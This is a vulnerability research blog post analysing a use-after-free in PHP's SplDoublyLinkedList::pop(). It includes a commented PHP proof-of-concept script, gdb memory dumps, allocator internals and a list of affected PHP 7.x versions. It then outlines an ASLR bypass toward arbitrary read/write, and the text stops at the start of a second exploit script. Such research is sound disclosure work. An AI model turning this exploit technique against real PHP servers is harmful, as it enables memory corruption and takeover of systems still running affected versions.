Hello everyone, if I’m writing this post it’s to present you a vulnerability that I identified in the PHP source code. This vulnerability is a Use After Free memory corruption in the function SplDoublyLinkedList::pop(). I had already written an article presenting the functioning of the PHP allocator as well as the exploitation of a Double Free. For that, I made the POC of a 1day (CVE-2016-3132) but there is no need for you to switch between articles since everything will be re-explained here.

Before starting, I invite you to consult the following work:

Their public work has made the binary exploitation of PHP much easier.

Introduction

The bug I’m about to present is not known and seems to have been patched without the author realizing the presence of a vulnerability (it is not referenced by any PHP Bug Track, CVE, GitHub Issue or anything else). It was discovered by code auditing and consulting the history of the commits made on the file ext/spl/spl_dllist.c:

The bug

All versions less than or equal to commit 4f4c031f62e28ed53869a57264535a8739a010e9 are vulnerable (which makes a lot of them). However, we will see later why but the bug is in practice exploitable only if the version of PHP includes the spl_ptr_llist_element structure as follows:

typedef struct _spl_ptr_llist_element {
    struct _spl_ptr_llist_element *prev;
    struct _spl_ptr_llist_element *next;
    int                            rc;
    zval                           data;
} spl_ptr_llist_element;

Elements involved

I will now present the class and functions that will be used in the exploit:

SplDoublyLinkedList

The SplDoublyLinkedList class provides the main functionalities of a doubly linked list.

class SplDoublyLinkedList implements Iterator, Countable, ArrayAccess, Serializable {

    /* Constants */
    public const int IT_MODE_LIFO;
    public const int IT_MODE_FIFO;
    public const int IT_MODE_DELETE;
    public const int IT_MODE_KEEP;

    /* Methods */
    public add(int $index, mixed $value): void
    public bottom(): mixed
    public count(): int
    public current(): mixed
    public getIteratorMode(): int
    public isEmpty(): bool
    public key(): int
    public next(): void
    public offsetExists(int $index): bool
    public offsetGet(int $index): mixed
    public offsetSet(?int $index, mixed $value): void
    public offsetUnset(int $index): void
    public pop(): mixed
    public prev(): void
    public push(mixed $value): void
    public rewind(): void
    public serialize(): string
    public setIteratorMode(int $mode): int
    public shift(): mixed
    public top(): mixed
    public unserialize(string $data): void
    public unshift(mixed $value): void
    public valid(): bool
}


SplDoublyLinkedList::push()

SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list.

public SplDoublyLinkedList::push(mixed $value): void


SplDoublyLinkedList::rewind()

SplDoublyLinkedList::rewind — Rewind iterator back to the start.

public SplDoublyLinkedList::rewind(): void


SplDoublyLinkedList::next()

SplDoublyLinkedList::next — Move to next entry.

public SplDoublyLinkedList::next(): void


SplDoublyLinkedList::prev()

SplDoublyLinkedList::prev — Move to previous entry.

public SplDoublyLinkedList::prev(): void


SplDoublyLinkedList::add

SplDoublyLinkedList::add — Add/insert a new value at the specified index.

 public SplDoublyLinkedList::add(int $index, mixed $value): void


SplDoublyLinkedList::pop() (function vulnerable to the UAF)

SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list.

public SplDoublyLinkedList::pop(): mixed

Except for the function SplDoublyLinkedList::pop(), the presented functions are not vulnerable but we will use them to make our bug exploitable. Let’s introduce the vulnerable code:

File: ext/spl/spl_dllist.c
GitHub

/* {{{ Pop an element out of the SplDoublyLinkedList */
PHP_METHOD(SplDoublyLinkedList, pop)
{
    spl_dllist_object *intern;

    if (zend_parse_parameters_none() == FAILURE) {
        RETURN_THROWS();
    }

    intern = Z_SPLDLLIST_P(ZEND_THIS);
    spl_ptr_llist_pop(intern->llist, return_value);

    if (Z_ISUNDEF_P(return_value)) {
        zend_throw_exception(spl_ce_RuntimeException, "Can't pop from an empty datastructure", 0);
        RETURN_THROWS();
    }
}
/* }}} */

As we can see it is actually the function spl_ptr_llist_pop() that interests us:

File: ext/spl/spl_dllist.c
GitHub

static void spl_ptr_llist_pop(spl_ptr_llist *llist, zval *ret) /* {{{ */
{
    spl_ptr_llist_element    *tail = llist->tail;

    if (tail == NULL) {
        ZVAL_UNDEF(ret);
        return;
    }

    if (tail->prev) {
        tail->prev->next = NULL;
    } else {
        llist->head = NULL;
    }

    llist->tail = tail->prev;
    llist->count--;
    ZVAL_COPY(ret, &tail->data);

    tail->prev = NULL;
    if (llist->dtor) {
        llist->dtor(tail);
    }

    ZVAL_UNDEF(&tail->data);

    SPL_LLIST_DELREF(tail);
}
/* }}} */

Thanks to the iterator, we can keep a pointer to the freed memory, then we just have to play with the iterator in order to achieve our exploit.

Example

I present to you this example to understand what is at stake:

File: poc.php

<?php

# This variable allows to manage the verbosity during debug (when using gdb).
$DEBUG = 1;
# This variable is the time the script will wait before calling the var_dump() function.
# Function on which we have placed a breakpoint via in gdb (php_var_dump in ext/standard/var.c):
# (gdb) break php_var_dump
$SLEEP_TIME = 3;

# The freed object spl_ptr_llist_element is placed in the 4th bin where objects size are
# from 33 (0x21) to 40 (0x28) bytes. Moreover it is noted that:
#     sizeof(spl_ptr_llist_element) = 0x28.
# The first field of a struct zend_string is called gc of type zend_refcounted_h:
#     sizeof(zend_refcounted_h) = 0x8
# The second field of a struct zend_string is called h of type zend_ulong:
#     sizeof(zend_ulong) = 0x8
# Then there is the field called len of type size_t:
#     sizeof(size_t) = 0x8
# But we need to count the trailing "\0" added at the end of the zend_string struct:
#     sizeof(char) = 0x1
# So if we want to allocate a zend_string in the space freed by a spl_ptr_llist_element
# struct, our string must be of length 0x28 - 0x8 - 0x8 - 0x8 - 0x1 = 15 (0xf).
$LEN_TO_FIT_IN_FREED_CHUNK = 15;


global $a;


# This class allows us to exploit the Use After Free bug.
class Trigger {
    # Using this specific __destruct() function, when SplDoublyLinkedList::pop()
    # is called, we can execute further instructions and therefore take advantage
    # of the bug.
    function __destruct() {
        global $DEBUG, $SLEEP_TIME, $LEN_TO_FIT_IN_FREED_CHUNK;
        global $a;
        echo "[*] Triggering bug ...\n";

        # We delete the first element of the list.
        $a->pop();

        # It can be interesting to use the tool use_after_free_detector.py to explore the bins.
        if ($DEBUG) {
            echo "[DEBUG]: You should inspect bins using gdb  ...\n";
            sleep($SLEEP_TIME);
            var_dump($a);
        }

        # We allocate a string in the freed chunk.
        $s = str_shuffle(str_repeat("B", $LEN_TO_FIT_IN_FREED_CHUNK));

        # We make the iterator point to the first element (which has been freed) of
        # the list which results in incrementing its reference counter (rc).
        $a->prev();

        # Within the structure spl_ptr_llist_element the field rc is at the same offset
        # as the field len of the structure zend_string.
        if ($DEBUG) {
            echo "[DEBUG]: You should inspect the len value of the zend_string object ...\n";
            sleep($SLEEP_TIME);
            var_dump($s);
        }

        # The length of our string was 0xf. If it is equal to 16 that means that it was incremented by 1
        # after the call to the function prev().
        if (strlen($s) == 0x10) {
            # At this moment the exploit was successful.
            echo "[+] Exploit succeed.\n";
            exit(0);
        } else {
            # A response code other than 0 is a failure.
            echo "[x] Exploit failed.\n";
            exit(1);
        }
    }
}


# We create a new object SplDoublyLinkedList whose function pop() is vulnerable to the
# Use After Free bug.
$a = new SplDoublyLinkedList();

# We add a first object to our doubly linked list.
$a->push(1337);
# we add a second object to our doubly linked list, whose destructor will allow us to
# try to exploit the vulnerability.
$a->push(new Trigger());

# We initialize the iterator.
$a->rewind();
# The iterator now points to the second element of the list.
$a->next();

# We delete the last element of the list.
$a->pop();

Let’s run this script with gdb and inspect our object $a:

The php_var_dump() function has, as first parameter, one of the most important structure of PHP, a pointer to a zval .

zval

File: Zend/zend_types.h

struct _zval_struct {
    zend_value        value;			/* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,			/* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)	    /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     var_flags;
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
    } u2;
};

zend_value

File: Zend/zend_types.h

typedef union _zend_value {
    zend_long         lval;				/* long value */
    double            dval;				/* double value */
    zend_refcounted  *counted;
    zend_string      *str;
    zend_array       *arr;
    zend_object      *obj;
    zend_resource    *res;
    zend_reference   *ref;
    zend_ast_ref     *ast;
    zval             *zv;
    void             *ptr;
    zend_class_entry *ce;
    zend_function    *func;
    struct {
        uint32_t w1;
        uint32_t w2;
    } ww;
} zend_value;

Let’s get back to gdb:

alt-text

Command:
print (zval)*0xfffff58133d0
Output:
{
  value = {
    lval = 0xfffff5875060,
    dval = 1.3906702935853597e-309,
    counted = 0xfffff5875060,
    str = 0xfffff5875060,
    arr = 0xfffff5875060,
    obj = 0xfffff5875060,
    res = 0xfffff5875060,
    ref = 0xfffff5875060,
    ast = 0xfffff5875060,
    zv = 0xfffff5875060,
    ptr = 0xfffff5875060,
    ce = 0xfffff5875060,
    func = 0xfffff5875060,
    ww = {
      w1 = 0xf5875060,
      w2 = 0xffff
    }
  },
  u1 = {
    v = {
      type = 0x8,
      type_flags = 0xc,
      const_flags = 0x0,
      reserved = 0x0
    },
    type_info = 0xc08
  },
  u2 = {
    var_flags = 0x0,
    next = 0x0,
    cache_slot = 0x0,
    lineno = 0x0,
    num_args = 0x0,
    fe_pos = 0x0,
    fe_iter_idx = 0x0
  }
}

As you can see the type field has the value 0x8, which corresponds to a zend_object.

File: Zend/zend_types.h

/* Regular data types: Must be in sync with zend_variables.c. */
#define IS_UNDEF					0
#define IS_NULL						1
#define IS_FALSE					2
#define IS_TRUE						3
#define IS_LONG						4
#define IS_DOUBLE					5
#define IS_STRING					6
#define IS_ARRAY					7
#define IS_OBJECT					8
#define IS_RESOURCE					9
#define IS_REFERENCE				10
#define IS_CONSTANT_AST				11 /* Constant expressions */

Let’s see what its structure is:

zend_object

struct _zend_object {
    zend_refcounted_h             gc;
    uint32_t                      handle;
    zend_class_entry              *ce;
    const zend_object_handlers    *handlers;
    HashTable                     *properties;
    zval                          properties_table[1];
};

To inspect the zend_object run:

Command:
print (zend_object)*0xfffff5875060
Output:
{
  gc = {
    refcount = 0x3,
    u = {
      v = {
        type = 0x8,
        flags = 0x0,
        gc_info = 0xc002
      },
      type_info = 0xc0020008
    }
  },
  handle = 0x1,
  ce = 0xaaaaab4fc2b0,
  handlers = 0xaaaaab418bc0 <spl_handler_SplDoublyLinkedList>,
  properties = 0x0,
  properties_table = {{
      value = {
        lval = 0x0,
        dval = 0,
        counted = 0x0,
        str = 0x0,
        arr = 0x0,
        obj = 0x0,
        res = 0x0,
        ref = 0x0,
        ast = 0x0,
        zv = 0x0,
        ptr = 0x0,
        ce = 0x0,
        func = 0x0,
        ww = {
          w1 = 0x0,
          w2 = 0x0
        }
      },
      u1 = {
        v = {
          type = 0x0,
          type_flags = 0x0,
          const_flags = 0x0,
          reserved = 0x0
        },
        type_info = 0x0
      },
      u2 = {
        var_flags = 0x0,
        next = 0x0,
        cache_slot = 0x0,
        lineno = 0x0,
        num_args = 0x0,
        fe_pos = 0x0,
        fe_iter_idx = 0x0
      }
    }}
}

As it can be seen from the handlers field, the expected object is SplDoublyLinkedList. But in reality what we have displayed is the field std of the structure spl_dllist_object.

spl_dllist_object

File: ext/spl/spl_dllist.c

struct _spl_dllist_object {
    spl_ptr_llist           *llist;
    int                     traverse_position;
    spl_ptr_llist_element   *traverse_pointer;
    int                     flags;
    zend_function           *fptr_offset_get;
    zend_function           *fptr_offset_set;
    zend_function           *fptr_offset_has;
    zend_function           *fptr_offset_del;
    zend_function           *fptr_count;
    zend_class_entry        *ce_get_iterator;
    zval                    *gc_data;
    int                     gc_data_count;
    zend_object             std;
};

In order to retrieve the structure spl_dllist_object from the pointer to the zend_object we need to read the following code:

File: ext/spl/spl_dllist.c

static inline spl_dllist_object *spl_dllist_from_obj(zend_object *obj) /* {{{ */ {
    return (spl_dllist_object*)((char*)(obj) - XtOffsetOf(spl_dllist_object, std));
}
/* }}} */

As we can see in the code below what we are interested in is the result of the function XtOffsetOf().

Command:
print sizeof(zend_object)
Output:
= 0x38
Command:
print sizeof(spl_dllist_object)
Output:
= 0x98

So to find the offset we just have to subtract the two:

>>> hex(0x98-0x38)
'0x60'

Let’s see the result:

Command:
print (spl_dllist_object)*(0xfffff5875060-0x60)
Output:
{
  llist = 0xfffff58615c8,
  traverse_position = 0x1,
  traverse_pointer = 0xfffff5861550,
  flags = 0x0,
  fptr_offset_get = 0x0,
  fptr_offset_set = 0x0,
  fptr_offset_has = 0x0,
  fptr_offset_del = 0x0,
  fptr_count = 0x0,
  ce_get_iterator = 0x0,
  gc_data = 0x0,
  gc_data_count = 0x0,
  std = {
    gc = {
      refcount = 0x3,
      u = {
        v = {
          type = 0x8,
          flags = 0x0,
          gc_info = 0xc002
        },
        type_info = 0xc0020008
      }
    },
    handle = 0x1,
    ce = 0xaaaaab4fc2b0,
    handlers = 0xaaaaab418bc0 <spl_handler_SplDoublyLinkedList>,
    properties = 0x0,
    properties_table = {{
        value = {
          lval = 0x0,
          dval = 0,
          counted = 0x0,
          str = 0x0,
          arr = 0x0,
          obj = 0x0,
          res = 0x0,
          ref = 0x0,
          ast = 0x0,
          zv = 0x0,
          ptr = 0x0,
          ce = 0x0,
          func = 0x0,
          ww = {
            w1 = 0x0,
            w2 = 0x0
          }
        },
        u1 = {
          v = {
            type = 0x0,
            type_flags = 0x0,
            const_flags = 0x0,
            reserved = 0x0
          },
          type_info = 0x0
        },
        u2 = {
          var_flags = 0x0,
          next = 0x0,
          cache_slot = 0x0,
          lineno = 0x0,
          num_args = 0x0,
          fe_pos = 0x0,
          fe_iter_idx = 0x0
        }
      }}
  }
}

Three field will interest us:

  • llist (pointer to spl_ptr_llist structure).
  • traverse_position (int).
  • traverse_pointer (pointer to spl_ptr_llist_element structure).

Let’s look at the structures before displaying their content.

spl_ptr_llist

File: ext/spl/spl_dllist.c

typedef struct _spl_ptr_llist {
    spl_ptr_llist_element   *head;
    spl_ptr_llist_element   *tail;
    spl_ptr_llist_dtor_func  dtor;
    spl_ptr_llist_ctor_func  ctor;
    int count;
} spl_ptr_llist;

spl_ptr_llist_element

File: ext/spl/spl_dllist.c

typedef struct _spl_ptr_llist_element {
    struct _spl_ptr_llist_element *prev;
    struct _spl_ptr_llist_element *next;
    int                            rc;
    zval                           data;
} spl_ptr_llist_element;

The first interesting point that we can already note is the size of the structure spl_ptr_llist_element:

Command:
print sizeof(spl_ptr_llist_element)
Output:
= 0x28

The second interesting point to note is that the field traverse_position corresponds to the index of the object pointed to by the iterator in the SplDoublyLinkedList. In our case it has for value 1 and point thus on the second element because the indexes begin at zero. This is due to the fact that our PHP script after adding two elements to our list using push() and initialized the iterator via the call to the function rewind(), we advanced the iterator by one element by calling the function next().

So we made a first pop() and deleted the last element, but inside Trigger::__destruct() a second pop() was made which results in destroying the first and only remaining element inside the list. As you can see the list is now empty:

Command:
print (spl_ptr_llist)*0xfffff58615c8
Output:
{
  head = 0x0,
  tail = 0x0,
  dtor = 0xaaaaaad525e4 <spl_ptr_llist_zval_dtor>,
  ctor = 0xaaaaaad533b4 <spl_ptr_llist_zval_ctor>,
  count = 0x0
}

But as you can see traverse_pointer still points to something that expects to be a spl_ptr_llist_element structure.

Command:
print (spl_ptr_llist_element)*0xfffff5861550
Output:
{
  prev = 0xfffff58615a0,
  next = 0x0,
  rc = 0x1,
  data = {
    value = {
      lval = 0xfffff5861578,
      dval = 1.3906702931870637e-309,
      counted = 0xfffff5861578,
      str = 0xfffff5861578,
      arr = 0xfffff5861578,
      obj = 0xfffff5861578,
      res = 0xfffff5861578,
      ref = 0xfffff5861578,
      ast = 0xfffff5861578,
      zv = 0xfffff5861578,
      ptr = 0xfffff5861578,
      ce = 0xfffff5861578,
      func = 0xfffff5861578,
      ww = {
        w1 = 0xf5861578,
        w2 = 0xffff
      }
    },
    u1 = {
      v = {
        type = 0x0,
        type_flags = 0x0,
        const_flags = 0x0,
        reserved = 0x0
      },
      type_info = 0x0
    },
    u2 = {
      var_flags = 0x0,
      next = 0x0,
      cache_slot = 0x0,
      lineno = 0x0,
      num_args = 0x0,
      fe_pos = 0x0,
      fe_iter_idx = 0x0
    }
  }
}

However, the field prev points to the spl_ptr_llist_element structure that has just been freed during the second call to function pop(). So we have traverse_pointer->prev pointing to a memory area that has just been freed which corresponds to a Use After Free. I have developed a python script to explore the bins and detect this kind of bug:

Let’s see how the memory is mapped:

alt-text

Let’s detect the bug automatically:

alt-text

Let’s try to allocate an object in the free memory space. To recover the free space we need an object whose size is between 0x21 and 0x28. This is where the zend_string structure comes into play.

zend_string

File: Zend/zend_types.h

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};

Like many other structures in PHP, it embeds a zend_refcounted_h header, which stores the reference count, as well as some flags.

The actual character content of the string is stored using the so called “struct hack”: The string content is appended to the end of the structure. While it is declared as char[1], the actual size is determined dynamically. This means that the zend_string header and the string contents are combined into a single allocation, which is more efficient than using two separate ones. You will find that PHP uses the struct hack in quite a number of places where a fixed-size header is combined with a dynamic amount of data.

The length of the string is stored explicitly in the len member. This is necessary to support strings that contain null bytes, and is also good for performance, because the string lengths does not need to be constantly recalculated. It should be noted that while len stores the length without a trailing null byte, the actual string contents in val must always contain a trailing null byte. The reason is that there are quite a few C APIs that accept a null-terminated string, and we want to be able to use these APIs without creating a separate null-terminated copy of the string. To give an example, the PHP string “foo\0bar” would be stored with len = 7, but val = “foo\0bar\0”.

Finally, the string stores a cache of the hash value h, which is used when using strings as hashtable keys. It starts with value 0 to indicate that the hash has not been computed yet, while the real hash is computed on first use.

With the text above which is extracted from the official PHP documentation, we have all the elements to understand that we need a string with a specific length to reclaim the free space.

The freed object spl_ptr_llist_element is placed in the 4th bin where objects size are from 33 (0x21) to 40 (0x28) bytes. Moreover, it is noted that:

  • sizeof(spl_ptr_llist_element) = 0x28

The first field of the struct zend_string is called gc of type zend_refcounted_h:

  • sizeof(zend_refcounted_h) = 0x8

The second field of the struct zend_string is called h of type zend_ulong:

  • sizeof(zend_ulong) = 0x8

Then there is the field called len of type size_t:

  • sizeof(size_t) = 0x8

But we need to count the trailing \0added at the end of the zend_string struct:

  • sizeof(char) = 0x1

So if we want to allocate a zend_string in the space freed by a spl_ptr_llist_element struct, our string must be of length:

  • 0x28 - 0x8 - 0x8 - 0x8 - 0x1 = 15 (0xf)
    • Example: BBBBBBBBBBBBBBB

Let’s allocate a new string of length 0xf as shown in the example above then call the function prev() from $a and let’s see what happens.

alt-text

Command:
print (zval)*0xfffff58133d0
Output:
{
  value = {
    lval = 0xfffff58615a0,
    dval = 1.3906702931872614e-309,
    counted = 0xfffff58615a0,
    str = 0xfffff58615a0,
    arr = 0xfffff58615a0,
    obj = 0xfffff58615a0,
    res = 0xfffff58615a0,
    ref = 0xfffff58615a0,
    ast = 0xfffff58615a0,
    zv = 0xfffff58615a0,
    ptr = 0xfffff58615a0,
    ce = 0xfffff58615a0,
    func = 0xfffff58615a0,
    ww = {
      w1 = 0xf58615a0,
      w2 = 0xffff
    }
  },
  u1 = {
    v = {
      type = 0x6,
      type_flags = 0x14,
      const_flags = 0x0,
      reserved = 0x0
    },
    type_info = 0x1406
  },
  u2 = {
    var_flags = 0x0,
    next = 0x0,
    cache_slot = 0x0,
    lineno = 0x0,
    num_args = 0x0,
    fe_pos = 0x0,
    fe_iter_idx = 0x0
  }
}

We expect it but we can tell from the type field that the value (str) field points to a structure of type zend_string.

Command:
print (zend_string)*0xfffff58615a0
Output:
{
  gc = {
    refcount = 0x2,
    u = {
      v = {
        type = 0x6,
        flags = 0x0,
        gc_info = 0x0
      },
      type_info = 0x6
    }
  },
  h = 0x0,
  len = 0x10,
  val = "B"
}

We realize that the length of the string $s has been incremented, it went from 0xf to 0x10. Moreover, as we can see, the iterator now points to the memory space allocated to our string.

Command:
print (spl_dllist_object)*(0xfffff5875060-0x60)
Output:
{
  llist = 0xfffff58615c8,
  traverse_position = 0x0,
  traverse_pointer = 0xfffff58615a0,
  flags = 0x0,
  fptr_offset_get = 0x0,
  fptr_offset_set = 0x0,
  fptr_offset_has = 0x0,
  fptr_offset_del = 0x0,
  fptr_count = 0x0,
  ce_get_iterator = 0x0,
  gc_data = 0x0,
  gc_data_count = 0x0,
  std = {
    gc = {
      refcount = 0x2,
      u = {
        v = {
          type = 0x8,
          flags = 0x0,
          gc_info = 0xc002
        },
        type_info = 0xc0020008
      }
    },
    handle = 0x1,
    ce = 0xaaaaab4fc2b0,
    handlers = 0xaaaaab418bc0 <spl_handler_SplDoublyLinkedList>,
    properties = 0xfffff58552d8,
    properties_table = {{
        value = {
          lval = 0x0,
          dval = 0,
          counted = 0x0,
          str = 0x0,
          arr = 0x0,
          obj = 0x0,
          res = 0x0,
          ref = 0x0,
          ast = 0x0,
          zv = 0x0,
          ptr = 0x0,
          ce = 0x0,
          func = 0x0,
          ww = {
            w1 = 0x0,
            w2 = 0x0
          }
        },
        u1 = {
          v = {
            type = 0x0,
            type_flags = 0x0,
            const_flags = 0x0,
            reserved = 0x0
          },
          type_info = 0x0
        },
        u2 = {
          var_flags = 0x0,
          next = 0x0,
          cache_slot = 0x0,
          lineno = 0x0,
          num_args = 0x0,
          fe_pos = 0x0,
          fe_iter_idx = 0x0
        }
      }}
  }
}

alt-text

So we can logically deduce that if we manage to perform this incrementation operation several times, we can obtain a read/write primitive in the memory space allocated after our string:

  • From @$s + 0x18 to @$s + 0x18 + strlen($s)

Before presenting the exploitation strategy, I would like to present two things to you:

  • Exploitable versions of the PHP interpreter.
  • The way the PHP allocator works (that will be necessary for us to bypass the ASLR).

Exploitable versions

In order to check which version of the interpreter was exploitable, I chose to compile all possible PHP versions. To do this I used the following script:

CWD="$(pwd)"
BASE="/home/user/php-src"
BINARY="$BASE/sapi/cli/php"
BRANCHS_DIR="/home/user"
OUTPUT_DIR="/home/user/bins"

cd
for i in $(cat $BRANCHS_DIR/branchs.lst)
do
    cd $BASE
    make clean
    git checkout $i --force
    ./buildconf --force
    ./configure
    # Fix bug #70015 - Compilation failure on aarch64.
    cd "$BASE/Zend"
    rm zend_multiply.h
    wget https://raw.githubusercontent.com/skilld-labs/php-src/1622f24fde4220967bd907bf8f0325d444bf9339/Zend/zend_multiply.h
    # Return to install flow.
    cd $BASE
    make -j8
    filename="$OUTPUT_DIR/$(echo "$i" | tr '[:upper:]' '[:lower:]')"
    cp $BINARY $filename
    cd $CWD
done

Which allowed me to have all versions of PHP compiled starting from version 7.

alt-text

As I explained, many versions are vulnerable (like a lot) but the exploitation strategy only works if the structure spl_ptr_llist_element is represented like this:

typedef struct _spl_ptr_llist_element {
    struct _spl_ptr_llist_element *prev;
    struct _spl_ptr_llist_element *next;
    int                            rc;
    zval                           data;
} spl_ptr_llist_element;

To check if a version is exploitable, just run the following one-liner:

for i in $(ls ./bins);do $(echo "./bins/$i") poc.php 1>/dev/null 2>/dev/null && echo "$i";done;

PHP 7.0.X

  • 7.0, 7.0.0, 7.0.1, 7.0.10, 7.0.11, 7.0.12, 7.0.13, 7.0.14, 7.0.15, 7.0.16, 7.0.17, 7.0.18, 7.0.19, 7.0.20, 7.0.21, 7.0.22, 7.0.23, 7.0.24, 7.0.25, 7.0.26, 7.0.27, 7.0.28, 7.0.29, 7.0.30, 7.0.31, 7.0.32, 7.0.33, 7.0.4, 7.0.5, 7.0.6, 7.0.7, 7.0.8, 7.0.9

PHP 7.1.X

  • 7.1, 7.1.0, 7.1.0beta1, 7.1.0beta2, 7.1.0beta3, 7.1.0rc1, 7.1.0rc2, 7.1.0rc3, 7.1.10, 7.1.11, 7.1.12, 7.1.13, 7.1.14, 7.1.15, 7.1.16, 7.1.17, 7.1.18, 7.1.19, 7.1.20, 7.1.21, 7.1.22, 7.1.23, 7.1.24, 7.1.25, 7.1.26, 7.1.27, 7.1.29, 7.1.30, 7.1.4, 7.1.5, 7.1.6, 7.1.7, 7.1.8, 7.1.9

PHP 7.2.X

  • 7.2, 7.2.0, 7.2.1, 7.2.10, 7.2.11, 7.2.12, 7.2.13, 7.2.14, 7.2.15, 7.2.16, 7.2.17, 7.2.18, 7.2.19, 7.2.2, 7.2.20, 7.2.21, 7.2.22, 7.2.23, 7.2.24, 7.2.25, 7.2.26, 7.2.27, 7.2.28, 7.2.29, 7.2.3, 7.2.30, 7.2.31, 7.2.32, 7.2.33, 7.2.34, 7.2.4, 7.2.5, 7.2.6, 7.2.7, 7.2.8, 7.2.9

PHP 7.3.X

  • 7.3, 7.3.0, 7.3.1, 7.3.10, 7.3.11, 7.3.12, 7.3.13, 7.3.14, 7.3.2, 7.3.3, 7.3.4, 7.3.5, 7.3.6, 7.3.7, 7.3.8, 7.3.9

PHP 7.4.X

  • 7.4, 7.4.0, 7.4.1, 7.4.2

The PHP allocator

Here is the structure representing the heap in memory:

File: Zend/zend_alloc.c

/*
 * Memory is retrived from OS by chunks of fixed size 2MB.
 * Inside chunk it's managed by pages of fixed size 4096B.
 * So each chunk consists from 512 pages.
 * The first page of each chunk is reseved for chunk header.
 * It contains service information about all pages.
 *
 * free_pages - current number of free pages in this chunk
 *
 * free_tail  - number of continuous free pages at the end of chunk
 *
 * free_map   - bitset (a bit for each page). The bit is set if the corresponding
 *              page is allocated. Allocator for "lage sizes" may easily find a
 *              free page (or a continuous number of pages) searching for zero
 *              bits.
 *
 * map        - contains service information for each page. (32-bits for each
 *              page).
 *    usage:
 *				(2 bits)
 * 				FRUN - free page,
 *              LRUN - first page of "large" allocation
 *              SRUN - first page of a bin used for "small" allocation
 *
 *    lrun_pages:
 *              (10 bits) number of allocated pages
 *
 *    srun_bin_num:
 *              (5 bits) bin number (e.g. 0 for sizes 0-2, 1 for 3-4,
 *               2 for 5-8, 3 for 9-16 etc) see zend_alloc_sizes.h
 */

struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
  int                use_custom_heap;
#endif
#if ZEND_MM_STORAGE
  zend_mm_storage    *storage;
#endif
#if ZEND_MM_STAT
  size_t             size;                    /* current memory usage */
  size_t             peak;                    /* peak memory usage */
#endif
  zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
};

We will not focus on the whole management of the heap, but only in the allocation of small elements. The difference between each bin is the size of the free chunks:

  • heap->free_slot[0] contains a singly-linked list of pointers to free chunks with size of 1 - 8 bytes.
  • heap->free_slot[4] contains a singly-linked list of pointers to free chunks with size of 33 (0x21) - 40 (0x28) bytes.
  • heap->free_slot[N] contains a singly-linked list of pointers to free chunks with size from ((N8)+1) to ((N+1)8) bytes.

Memory allocation

As the documentation so well quotes it, we just need to read the contents of the file Zend/zend_alloc.h.

File: Zend/zend_alloc.h

#define emalloc(size) _emalloc((size) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)

This leads us to read the file Zend/zend_alloc.c and allows us to understand that what interests us is managed by the function zend_mm_alloc_small().

  • _emalloc()
    • zend_mm_alloc_heap()
      • zend_mm_alloc_small()

File: Zend/zend_alloc.c

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, size_t size, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{

  ...

  if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
    zend_mm_free_slot *p = heap->free_slot[bin_num];
    heap->free_slot[bin_num] = p->next_free_slot;
    return (void*)p;
  } else {
    return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
  }
}

The following sequence:


...

zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return (void*)p;

...

Is equivalent to a “pop” from the singly-linked list heap->free_slot[bin_num]. It is therefore a Last In First Out (LIFO) mechanism that is used by the allocator.

Memory space release

The same goes for releasing memory.

File: Zend/zend_alloc.h

#define efree(ptr) _efree((ptr) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)
  • _efree()
    • zend_mm_free_heap()
      • zend_mm_free_small()

File: Zend/zend_alloc.c

static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)
{
  zend_mm_free_slot *p;

  ...

  p = (zend_mm_free_slot*)ptr;
  p->next_free_slot = heap->free_slot[bin_num];
  heap->free_slot[bin_num] = p;
}

Let’s see what the zend_mm_free_slot structure corresponds to:

zend_mm_free_slot

File: Zend/zend_alloc.c

struct _zend_mm_free_slot {
    zend_mm_free_slot *next_free_slot;
};

Let’s assume that the heap is in this state (all displayed objects are of size 0x28) and the 4th bin is empty.

alt-text

Let’s say we delete Object_5 of size 0x28, we obtain the following results:

alt-text

Now, let’s delete Object_4 of size 0x28, we obtain the following results:

alt-text

Now, let’s pretend that our Object_3 of size 0x28 is a zend_string and that its length (the len field of the structure) is a large value after being corrupted:

alt-text

We will be able to read within the first 0x8 bytes of Object_4 the address of Object_5. Objects being allocated in chunks of size 0x28, we can deduct the address of our zend_string and thus defeat ASLR.

  • @Objet_3= @Objet_5 - (2 * 0x28) = @Objet_5 - 0x50

We have succeeded in transforming a string length from 0xf to 0x10 thanks to the exploitation of a Use After Free in pop(). Moreover, we have just seen that it is possible for us to defeat the ASLR. The last thing we have to do now, is to establish an exploitation strategy allowing us to define the length of a string in an arbitrary way, in order to obtain an arbitrary read/write primitive.

Exploitation strategy

It is to be noted that the field rc of structure spl_ptr_llist_element is at the same offset as the field len of structure zend_string.

I used Charles Fol’s work as the foundation of my strategy. What we are going to do is exploit the vulnerability several times in a row so that several objects point to the same memory area. Once several elements point to the same memory area, we will trigger the vulnerability one last time to really exploit it.

alt-text

By calling prev() on each element of the array $rcis we will increment what is supposed to be rc (reference counter), however, what we are actually doing is increasing the len field of a zend_string which have for field val[1]=B.

Defeat the ASLR

<?php

# This variable allows to manage the verbosity during debug (when using gdb).
$DEBUG = 0;
# This variable is the time the script will wait before calling the var_dump()
# function. Function on which we have placed a breakpoint in gdb (php_var_dump in ext/standard/var.c):
#     (gdb) break php_var_dump
